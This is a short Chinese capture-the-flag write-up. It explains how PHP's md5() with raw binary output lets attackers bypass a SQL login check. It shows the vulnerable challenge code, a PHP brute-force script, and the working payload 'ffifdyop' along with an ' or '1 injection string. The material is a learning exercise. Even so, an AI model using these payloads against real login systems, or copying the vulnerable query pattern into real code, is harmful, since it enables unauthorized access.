md5()的绕过
0x01 前言
其实还是md5()的绕过, 之前说的数组绕过,大多用来绕过控制语句,而这个是通过md5()来构造攻击语句 。
0x02 题目
$password=$_POST['password'];
$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
$result=mysqli_query($link,$sql);
if(mysqli_num_rows($result)>0)
{
echo 'flag is :'.$flag;
}
else{
echo '密码错误!';
}
假装分析:
很明显,我们需要进行sql注入。如果没有这个可恶的md5(),我们可以直接构造语句' or '1
闭合。😡淦
!!
所以现在目标很明确了,我们就是要干掉这个md5()。
问谷“哥”
ohhhhhhhhhhhhh!!!!!! 引用别人的分析
md5()函数第二个参数为true,加密后的值会以二进制生成,被当成字符串处理后极有可能构造出闭合的字符串!!!
看个脚本
<?php
for ($i = 0;;) {
for ($c = 0; $c < 1000000; $c++, $i++)
if (stripos(md5($i, true), '\'or\'') !== false)
echo "\nmd5($i) = " . md5($i, true) . "\n";
echo ".";
}
?>
//引用于 http://mslc.ctf.su/wp/leet-more-2010-oh-those-admins-writeup/
别人的发现
content: 129581926211651571912466741651878684928
hex: 06da5430449f8f6f23dfc1276f722738
raw: \x06\xdaT0D\x9f\x8fo#\xdf\xc1'or'8
string: T0Do#'or'8
content: ffifdyop
hex: 276f722736c95d99e921722cf9ed621c
raw: 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
string: 'or'6]!r,b
菜狗的ps: 其实会出现一些乱码,'or '6<乱码>
0x03 ohhhh
所以payload就是:ffifdyop
或者那个很长的东西👀
结束的致敬
参考: